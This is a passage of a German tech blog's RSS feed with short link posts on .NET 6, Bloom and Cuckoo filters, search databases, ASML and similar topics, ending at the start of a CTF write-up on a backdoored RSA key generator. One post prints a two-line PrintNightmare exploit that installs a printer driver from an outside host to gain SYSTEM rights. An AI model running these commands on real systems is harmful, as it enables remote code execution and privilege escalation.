</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/15/0.html</guid><pubDate>Sun, 15 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tinyclouds.org/rant.html&quot;&gt;Ein sehr deutlicher Rant aus 2011 darüber, dass fast alle Software schlecht ist&lt;/a&gt;. Kann ich ein bisschen nachvollziehen. Habe auch eine Liste mit Software, die ich &lt;em&gt;nicht&lt;/em&gt; schlecht finde.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/16/0.html</guid><pubDate>Mon, 16 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich mag ja coole und vor allem verrückte Ideen für Programmiersprachen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alda-lang/alda&quot;&gt;Hier ist eine für Musik&lt;/a&gt;, &lt;a href=&quot;https://alda.io/tutorial/&quot;&gt;hier&lt;/a&gt; ein Tutorial.&lt;/p&gt;
&lt;p&gt;Codeausschnitt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;trumpet:  (tempo 200) o4 c8 d e f g a b &amp;gt; c4.
trombone: o3 e8 f g a b &amp;gt; c d e4.
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/16/1.html</guid><pubDate>Mon, 16 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;If you set your http proxy to be &lt;code&gt;theoldnet.com&lt;/code&gt; port &lt;code&gt;1997&lt;/code&gt;, and (important!) add an exclusion for &lt;code&gt;web.archive.org&lt;/code&gt;, then you can browse the entire web from 1997.
You can also change the port number to your preferred year. This is really fun on retro systems / web browsers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wer es probieren möchte: https://theoldnet.com/docs/httpproxy/index.html&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/16/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/16/2.html</guid><pubDate>Mon, 16 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://arstechnica.com/gadgets/2021/08/intels-arc-gpus-will-compete-with-geforce-and-radeon-in-early-2022/&quot;&gt;Intel möchte bald dedizierte GPUs rausbringen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=28199067&quot;&gt;Auf HN&lt;/a&gt; scheinen sich viele darüber zu freuen, sowohl für Intel als auch für sich selbst. Vorrangig wohl wegen der aktuellen GPU-Knappheit. Ich hab jetzt nicht so tolle Erfahrungen mit Intel-Grafik, aber in dem Thread berichten viele von guten Linux-Treibern, was im Vergleich zu Nvidia wohl auch noch ein guter Punkt wäre.&lt;/p&gt;
&lt;p&gt;Spannend!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/17/0.html</guid><pubDate>Tue, 17 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt Helvetica als &lt;a href=&quot;https://www.monotype.com/fonts/helvetica-now-variable&quot;&gt;Variable Font&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/17/1.html</guid><pubDate>Tue, 17 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;MS hat &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-6/&quot;&gt;hier&lt;/a&gt; zusammengetragen, was es für Performanceverbesserungen in .NET 6 gibt.&lt;/p&gt;
&lt;p&gt;Insgesamt echt beeindruckend, alleine schon das Volumen des Posts. Habe jetzt nicht alles einzeln gelesen, nur grob überflogen. Eine Sache ist mir aber aufgefallen:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Most of the Math methods can now participate in constant folding, so if their inputs end up as constants for whatever reason, the results can become constants as well
[...]
&lt;a href=&quot;https://github.com/dotnet/runtime/pull/42831&quot;&gt;dotnet/runtime#42831&lt;/a&gt; from @nathan-moore ensured that the Length of an array created from a constant could be propagated as a constant.
[...]
[...]
&lt;a href=&quot;https://github.com/dotnet/runtime/pull/55745&quot;&gt;dotnet/runtime#55745&lt;/a&gt;, which enables the JIT to fold &lt;code&gt;TimeSpan.FromSeconds(constant)&lt;/code&gt; (and other such &lt;code&gt;From&lt;/code&gt; methods) into a single instruction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nice!
Offenbar ist die Compilerinfrastruktur bei .NET jetzt so gut, dass solche Verbesserungen von random GitHub-Leuten eingereicht werden können.&lt;/p&gt;
&lt;p&gt;Ich habe vor &lt;a href=&quot;https://github.com/dotnet/csharplang/discussions/2379&quot;&gt;einiger Zeit&lt;/a&gt; mal den Vorschlag gemacht, &lt;a href=&quot;https://en.wikipedia.org/wiki/Compile-time_function_execution&quot;&gt;CTFE&lt;/a&gt; in C# zu machen. Das ist jetzt definitiv obsolet. Nahezu jedes Beispiel aus dem Proposal wird jetzt vom Constant-Folding optimiert (was ich auch für den besseren Ansatz halte).&lt;/p&gt;
&lt;p&gt;Die verbleibenden Use-Cases könnten von &lt;a href=&quot;https://github.com/dotnet/csharplang/discussions/3049&quot;&gt;generischen Const-Parametern&lt;/a&gt; abgefertigt werden. In meinem Proposal werden auch &lt;code&gt;const structs&lt;/code&gt; angedeutet (also &lt;code&gt;struct&lt;/code&gt;s, die zur Compile-Time schon einen Wert haben und sich nicht mehr ändern). &lt;a href=&quot;https://github.com/dotnet/csharplang/discussions/2878&quot;&gt;Da gibt es auch ein separates Proposal zu&lt;/a&gt;. Der Vorteil davon wäre, dass man z. B. &lt;code&gt;DateTime&lt;/code&gt;s als &quot;richtige&quot; Konstante haben kann (nicht nur als Shared-Readonly) und es eigentlich keinen Grund gibt, das nicht zu tun, weil das intern auch nur ein Int64 und sonst immutable ist.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/17/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/17/ds.html</guid><pubDate>Tue, 17 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich finde einige Datenstrukturen echt interessant. Immer wieder schön zu sehen, welche Hacks sich überlegt wurden. Vielleicht braucht es ja einen Datenstruktur-Dienstag?&lt;/p&gt;
&lt;p&gt;Den Anfang macht...&lt;/p&gt;
&lt;p&gt;...die &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_table&quot;&gt;klassische Hash-Table&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/18/0.html</guid><pubDate>Wed, 18 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://technicalsourcery.net/posts/on-endianness/&quot;&gt;Guter Artikel über Endianess&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/18/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/18/1.html</guid><pubDate>Wed, 18 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ab und zu muss man aus einem größeren Zahlenraum auf einen kleineren mappen, z. B. auf den Index eines Arrays. Da sieht man häufig eine Konstruktion mit Modulo: &lt;code&gt;arr[i % n]&lt;/code&gt; (wobei n die Länge des Arrays ist).
Für manche ist Modulo zu langsam. In dem Fall kann man &lt;a href=&quot;https://lemire.me/blog/2016/06/27/a-fast-alternative-to-the-modulo-reduction/&quot;&gt;diesen Hack&lt;/a&gt; anwenden. Aber Achtung, macht nicht das gleiche wie Modulo. Aber verteilt trotzdem auf die Range, die man haben will (ob das wir Modulo bei Zufallswerten auch einen Bias einführt, steht da glaub ich aber nicht).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/18/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/18/2.html</guid><pubDate>Wed, 18 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/dotnet/announcements/issues/198&quot;&gt;Die Entwicklung von .NET 7 fängt jetzt an&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/19/0.html</guid><pubDate>Thu, 19 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In CSS gibt es die Property &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/will-change&quot;&gt;&lt;code&gt;will-change&lt;/code&gt;&lt;/a&gt;, mit dem man dem Browser sagen kann, dass sich andere CSS-Propertys ändern werden und er das schon mal voroptimieren kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/19/1.html</guid><pubDate>Thu, 19 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bei Apples CSAM war schon recht schnell klar, dass es &lt;a href=&quot;https://github.com/AsuharietYgvar/AppleNeuralHash2ONNX/issues/1&quot;&gt;kaputt ist&lt;/a&gt; (mal von der Frage abgesehen, ob man das überhaupt haben will).
Ich dachte, das hat sich mit dieser einen Kollision (bzw. 2nd-Pre-Image-Attack) und eigentlich muss man da nicht weiter drauf rum hauen. Dann wurde es ganz schnell noch kaputter und jetzt gibt es &lt;a href=&quot;https://github.com/anishathalye/neural-hash-collider&quot;&gt;ein CLI-Tool, das diesen Angriff super easy fährt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Gut, dachte ich, &lt;em&gt;das&lt;/em&gt; wird es jetzt aber definitiv gewesen sein; kaputter geht nicht. &lt;a href=&quot;https://twitter.com/ghidraninja/status/1428269762543591428&quot;&gt;Wohl doch&lt;/a&gt;. Jetzt kann man glaub ich aber auch echt aufhören, da gibt&apos;s nichts mehr zu holen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/19/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/19/2.html</guid><pubDate>Thu, 19 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://alexsidorenko.com/blog/react-render-always-rerenders/&quot;&gt;Wann React Child-Components rendert&lt;/a&gt;. Am Ende ist auch eine Fortsetzung verlinkt, die die Fälle behandelt, wenn Props dabei sind.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/20/0.html</guid><pubDate>Fri, 20 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein &lt;a href=&quot;https://github.com/mTvare6/hello-world.rs&quot;&gt;Hello World in rust(🚀)&lt;/a&gt;. 33GB Dependencies, kompiliert 2.5 Stunden.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/21/0.html</guid><pubDate>Sat, 21 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der &quot;Bekannte Blogposts&quot;-Serie: &lt;a href=&quot;https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/&quot;&gt;What Color is Your Function?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Man stelle sich vor, Programmiersprachen haben zwei Arten von Funktionen: Rote und Blaue. Dazu kommen Regeln, wie man sie kombinieren kann.
Am Ende sieht man, worum es eigentlich geht. Haben wir sicherlich alle schon einmal benutzt.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/21/1.html</guid><pubDate>Sat, 21 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wir hatten neulich ja die Bewertungssysteme von HN und Reddit. &lt;a href=&quot;https://about.chatroulette.com/posts/better-match-making-part-1/&quot;&gt;Hier schreibt Chatroulette, wie sie ihr Matchmaking machen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/22/0.html</guid><pubDate>Sun, 22 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://lucumr.pocoo.org/2016/10/30/i-dont-understand-asyncio/&quot;&gt;Der Entwickler von Flask versteht asyncio aus Python nicht&lt;/a&gt;. Es ist laut ihm einfach zu over-engineered.
Könnte man auch als einen der Blog-Posts einstufen, die man kennt.&lt;/p&gt;
&lt;p&gt;Leider hat man von asyncio nicht viel, &lt;a href=&quot;https://calpaterson.com/async-python-is-not-faster.html&quot;&gt;denn die Webanwendung wird dadurch langsamer&lt;/a&gt;. (&lt;a href=&quot;https://news.ycombinator.com/item?id=23496994&quot;&gt;HN dazu&lt;/a&gt;)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/23/0.html</guid><pubDate>Mon, 23 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/new-dotnet-6-apis-driven-by-the-developer-community/&quot;&gt;Neue Funktionen in .NET 6, die durch Entwicklerfeedback kamen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/23/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/23/1.html</guid><pubDate>Mon, 23 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine relativ unbekannte Firma, die aber im Prinzip das Monopol auf Maschinen für moderne Halbleiterfertigung hat: &lt;a href=&quot;https://twitter.com/trungtphan/status/1429464889307762688&quot;&gt;ASML&lt;/a&gt;
Intel, Samsung und TSMC sind große Kunden von denen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=f0gMdGrVteI&quot;&gt;Hier&lt;/a&gt; ein Video über das, was sie so machen. Schaut Euch das mal an. Das Level von Engineering, was die da betreiben, ist einfach komplett absurd.
Aus einer &lt;a href=&quot;https://www.asml.com/en/careers/job-categories/optical-engineering-jobs&quot;&gt;Jobbeschreibung&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Imagine perfecting an optical system where aberrations are kept to within one thousandth of the wavelength of light used.
In this optical system, 200 kg reflectors need to be positioned to within an accuracy of less than a nanometer, and then repositioned every second to compensate for millikelvin fluctuations.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/ASML_Holding&quot;&gt;Wikipedia dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/24/0.html</guid><pubDate>Tue, 24 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Richtig coole Idee: &lt;a href=&quot;https://yurichev.com/news/20210205_rolling_hash/&quot;&gt;Hashing zur Stringsuche&lt;/a&gt;. Der Autor verlinkt auch die &lt;a href=&quot;https://yurichev.com/news/20210121_Knuth_Morris_Pratt_1/&quot;&gt;Knuth-Morris-Pratt-String-Suche&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=28263661&quot;&gt;HN dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/24/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/24/ds.html</guid><pubDate>Tue, 24 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Eine meiner lieblings-Strukturen, der &lt;a href=&quot;https://en.wikipedia.org/wiki/Bloom_filter&quot;&gt;Bloom-Filter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Eine wichtige Eigenschaft eines Bloom-Filters ist die False-Positive-Rate. Das ist die Wahrscheinlichkeit für False-Positives. Zu dieser Wahrscheinlichkeit gab es 30 Jahre später noch eine neue Formel, da die ursprüngliche wohl fehlerhaft war. &lt;a href=&quot;https://gopiandcode.uk/logs/log-bloomfilters-debunked.html&quot;&gt;Hier ist ein Writeup dazu&lt;/a&gt;. &lt;a href=&quot;https://dl.acm.org/doi/10.1016/j.ipl.2010.07.024&quot;&gt;Hier&lt;/a&gt; ist noch ein Paper dazu.&lt;/p&gt;
&lt;p&gt;Was man in der Praxis für Probleme mit einem Bloom-Filter haben kann, &lt;a href=&quot;https://blog.cloudflare.com/when-bloom-filters-dont-bloom/&quot;&gt;hat Cloudflare mal aufgeschrieben&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>probabilistisch</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/25/0.html</guid><pubDate>Wed, 25 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://thecodepad.com/cpp/c20-concepts-the-definitive-guide/&quot;&gt;C++20 Concepts: The Definitive Guide&lt;/a&gt; und &lt;a href=&quot;https://blog.feabhas.com/2021/08/c20-modules-with-gcc11/&quot;&gt;C++20 modules with GCC11&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=28266403&quot;&gt;HN dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/25/1.html</guid><pubDate>Wed, 25 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ihr kennt sicher Elasticsearch. Wenn Ihr es nicht selbst schon eingesetzt habt, kennt ihr es vielleicht, &lt;a href=&quot;https://heise.de/-6168057&quot;&gt;weil das gerne offen im Netz hängen gelassen wird&lt;/a&gt; oder weil &lt;a href=&quot;https://heise.de/-6012213&quot;&gt;Amazon das aus lizenztechnischen Gründen geforkt hat&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ist eine Datenbank, die spezialisiert auf Suche ist (ok, da hätte man drauf kommen können). Da es aber in Java geschrieben ist und auch schon ein bisschen existiert, ist es eher relativ dicke Software, die vieles kann und auch viel Ressourcen verbraucht, letztendlich auch wegen Java. Ich kenne Software-Stacks, in denen das zur Auswertung der Logs verwendet wird. Dort kommt es dann nicht selten vor, dass der Elasticsearch-Logging-Stack mehr Ressourcen verbraucht, als die eigentliche Anwendung.&lt;/p&gt;
&lt;p&gt;Ich komme darauf, weil gerade &lt;a href=&quot;https://github.com/meilisearch/MeiliSearch/releases/tag/v0.21.0&quot;&gt;Version 0.21.0&lt;/a&gt; von &lt;a href=&quot;https://github.com/meilisearch/MeiliSearch&quot;&gt;MeiliSearch&lt;/a&gt; freigegeben wurde.
Das ist auch eine Datenbank, die spezialisiert auf Suche ist, allerdings in Rust geschrieben (ja, ich weiß, &quot;alles ist besser in Rust&quot; ist ein alter Hut etc.).&lt;/p&gt;
&lt;p&gt;Diese Software habe ich schon halb-produktiv verwendet und bin positiv beeindruckt. Sie ist recht einfach aufgebaut, die API ist super straight-forward, genau wie das Rechtesystem. Die Dokumentation ist m. E. n. super gut dafür, dass es Pre-1.0-Software ist. Deployen kann man das Ganze zur Not auch ohne Container, da das gesamte Teil eine einzige Binary ist, die man auch mit einem einfachen &lt;code&gt;git clone&lt;/code&gt; und &lt;code&gt;cargo build&lt;/code&gt; selbst bauen kann.
Die API-Endpunkte sind dafür gebaut, dass man sie direkt von einem Web-Frontend aus ansprechen kann, ohne Backend-Logik dazwischen.&lt;/p&gt;
&lt;p&gt;Vom Funktionsumfang ist das natürlich nicht mit einem Elasticsearch vergleichbar. Es ist ja auch noch Pre-1.0-Software. Die Use-Cases überschneiden sich wahrscheinlich auch nur teilweise, weil MeiliSearch aktuell primär für &quot;Search-as-you-Type&quot;-Sachen gemacht ist.&lt;/p&gt;
&lt;p&gt;Neben Elasticsearch und MeiliSearch gibt es natürlich auch noch &lt;a href=&quot;https://typesense.org/typesense-vs-algolia-vs-elasticsearch-vs-meilisearch/&quot;&gt;andere Alternativen&lt;/a&gt;. Was ich mit diesem Post auf jeden Fall sagen will: Es muss nicht immer Elasticsearch sein und die Alternativen kennen viele nicht.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/25/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/25/2.html</guid><pubDate>Wed, 25 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kennt Ihr &lt;a href=&quot;https://fastapi.tiangolo.com&quot;&gt;FastAPI&lt;/a&gt;? Das ist ein relativ einfaches Python-Framework, mit dem man ganz gut mal ne (REST-)APIs bauen kann. Ist auch relativ schnell, also im Vergleich zu Django und Flask.&lt;/p&gt;
&lt;p&gt;Derselbe Mensch hat jetzt eine SQL_API rausgebracht: &lt;a href=&quot;https://sqlmodel.tiangolo.com&quot;&gt;SQLModel&lt;/a&gt;. Verwendet - wie FastAPI auch - Pydantic zur Validierung und SQLAlchemy um mit der Datenbank zu reden. Der Autor hat es auch auf &lt;a href=&quot;https://news.ycombinator.com/item?id=28294534&quot;&gt;HN&lt;/a&gt; gepostet.&lt;/p&gt;
&lt;p&gt;Sieht ganz cool aus, könnte man mal ausprobieren. Funktioniert natürlich auch mit SQLite. :)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/25/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/25/3.html</guid><pubDate>Wed, 25 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei Datenbanken waren - Ihr kennt sicher Discord. Heute stolperte ich über einen Artikel der Discord-Leute aus dem Jahr 2017, wo sie ihre &lt;a href=&quot;https://blog.discord.com/how-discord-stores-billions-of-messages-7fa6ec7ee4c7&quot;&gt;Migration von MongoDB auf Cassandra beschreiben&lt;/a&gt;. Also mit technischen Requirements und Begründungen etc., wie man das machen sollte. Der Artikel beschreibt ganz gut und geht auch darauf ein, was man bei Cassandra beachten sollte.&lt;/p&gt;
&lt;p&gt;Wer bei Cassandra an &quot;Ressourcenfressende Java-Datenbank&quot; denkt, mag vielleicht nicht ganz falsch liegen. &lt;a href=&quot;https://www.scylladb.com/press-release/discord-chooses-scylla-core-storage-layer/&quot;&gt;2020 migrierten sie dann auf ScyllaDB&lt;/a&gt;, einem Cassandra-kompatiblen Drop-in-Replacement, geschrieben in C++.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/25/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/25/4.html</guid><pubDate>Wed, 25 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jamespotter.dev/hacker-news-tech-trends&quot;&gt;Is Hacker News a Good Predictor of Future Tech Trends?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Betrachtet natürlich nur die Fälle, die Trends wurden. Nicht die, die auf HN waren, aber nichts wurden.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/26/0.html</guid><pubDate>Thu, 26 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jvns.ca/blog/confusing-explanations/&quot;&gt;Hier&lt;/a&gt; hat Julia Evans Muster aufgeschrieben, der er seiner Meinung nach in schlechten/verwirrenden Erklärungen häufig findet.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=28254630&quot;&gt;HN ist dazu&lt;/a&gt; auch empfehlenswert. Hier einige Dinge, die mir auch auffallen:&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Another pattern I usually encounter is explaining the how but not the why. [...]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Whenever I see a &quot;how-but-not-why&quot; article I assume that the author doesn&apos;t understand the &quot;why&quot; part yet... they&apos;ve likely just rote-learned the &quot;how&quot; part and are regurgitating it. [...]&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/26/1.html</guid><pubDate>Thu, 26 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-4/&quot;&gt;TypeScript 4.4 ist jetzt da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/26/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/26/2.html</guid><pubDate>Thu, 26 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/GossiTheDog/SystemNightmare&quot;&gt;Hier ein Exploit für die Printer-Nightmare-Geschichte&lt;/a&gt;, die aktuell noch nicht gefixt ist.&lt;/p&gt;
&lt;p&gt;Besteht aus zwei Zeilen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n&quot;\\printnightmare.gentilkiwi.com\Kiwi Legit Printer&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Natürlich macht der verwendete Drucker dort sicherlich auch noch was. Aber ist schon cool, dass das einfach ein ein zwei-Zeilen-Batch-Skript passt.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/31/0.html</guid><pubDate>Tue, 31 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: &lt;a href=&quot;https://www.youtube.com/watch?v=TBGu3NNpF1Q&quot;&gt;&lt;code&gt;restrict&lt;/code&gt; in C hat kein Äquivalentes Konzept in C++&lt;/a&gt;. Ist vielleicht auch ganz gut so. Sowas sollte eher vom Compiler enforced werden.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/08/31/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/08/31/ds.html</guid><pubDate>Tue, 31 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Letzte Woche gab&apos;s den Bloom-Filter, diese Woche muss man dann wohl den &lt;a href=&quot;https://en.wikipedia.org/wiki/Cuckoo_filter&quot;&gt;Cuckoo-Filter&lt;/a&gt; erwähnen.&lt;/p&gt;
&lt;p&gt;Großer Unterschied (IMHO): Man kann auch Einträge wieder löschen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>probabilistisch</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/01/0.html</guid><pubDate>Wed, 01 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der BND hat mal wieder einen öffentlichen Einstellungstest, dem wir uns erfreuen dürfen. Ideal, um sich mal etwas in CTF-Writeups zu probieren!&lt;/p&gt;
&lt;p&gt;Aus der Kategorie &lt;em&gt;Cryptography&lt;/em&gt; schauen wir uns mal die (einzige) Challenge an: &lt;em&gt;Analysieren einer Backdoor in einem RSA-Schlüsselerzeugungsalgorithmus&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Folgender Code wurde uns bereitgestellt:
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;SageMath-Code&amp;lt;/summary&amp;gt;
{%- highlight c linenos -%}&lt;/p&gt;
&lt;h3&gt;Excerpt from utils.py (used to encode / decode the message)&lt;/h3&gt;
&lt;p&gt;def encode(msg):
&quot;&quot;&quot;
Convert a message to a number.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Example:
&amp;gt;&amp;gt;&amp;gt; hex(encode(b&apos;ABCD&apos;))
